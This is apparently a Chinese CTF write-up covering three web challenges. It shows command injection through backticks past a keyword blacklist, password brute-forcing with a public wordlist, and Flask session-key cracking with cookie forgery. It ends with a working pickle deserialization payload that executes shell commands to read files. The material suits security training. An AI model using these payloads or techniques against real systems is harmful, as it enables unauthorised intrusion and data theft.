前言
于是第二周就没怎么打了
Web
What the cow say?
linux命令执行
进去给了一个框
测试了一下发现输入~
的时候会回显 /root
猜测这是一个直接执行linux命令的框
内部逻辑应该是
echo {{user_input}}
直接套双引号执行命令
user_input=`ls /`
发现flag在/flag_is_here文件夹下
user_input=`tac /f*/f*`
直接读取即可
app.py
from flask import Flask, render_template, request, redirect, url_for
import subprocess
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
result = None
if request.method == 'POST':
user_input = request.form['user_input']
result = run_cowsay(user_input)
return render_template('index.html', result=result)
@app.route('/post', methods=['POST'])
def post():
if request.method == 'POST':
user_input = request.form['user_input']
result = run_cowsay(user_input)
return render_template('index.html', result=result)
def run_cowsay(text):
try:
if waf(text):
cmd_output = subprocess.check_output('cowsay ' + text, text=True, stderr=subprocess.STDOUT, shell=True)
return cmd_output.strip()
else:
cmd_output = subprocess.check_output('cowsay Waf!', text=True, stderr=subprocess.STDOUT, shell=True)
return cmd_output.strip()
except subprocess.CalledProcessError as e:
return run_cowsay("ERROR!")
def waf(string):
blacklist = ['echo', 'cat', 'tee', ';', '|', '&', '<', '>', '\\', 'flag']
for black in blacklist:
if black in string:
return False
return True
if __name__ == '__main__':
app.run("0.0.0.0", port=80)
Select More Courses
爆破
可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
抓包丢bp爆破就行
得到password是qwert123
进入系统,选课即可得到flag(草这里原来要条件竞争请求/api/expand的)
myflask
cookie伪造 + pickle反序列化
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
本地调试发现currentTime是一个6位数字
那就可以用flask-unsign直接爆破
def brute_force():
start = 100000
end = 200000
with open("timedict.txt", "w") as file:
for num in range(start, end+1):
file.write('"'+ str(num) + '"' +"\n")
brute_force()
flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcSHsw.MM2d6hkoiV87d95HnLbylYQPSIY" --wordlist timedict.txt
得到key
加密
flask-unsign --sign --cookie "{'username': 'admin'}" --secret '154929' --no-literal-eval
接下来pickle反序列化
直接命令执行即可
import pickle
import base64
class opcode(object):
def __reduce__(self):
return eval,("__import__('os').popen('cat /f*').read()",)
a=opcode()
print(base64.b64encode(pickle.dumps(a)))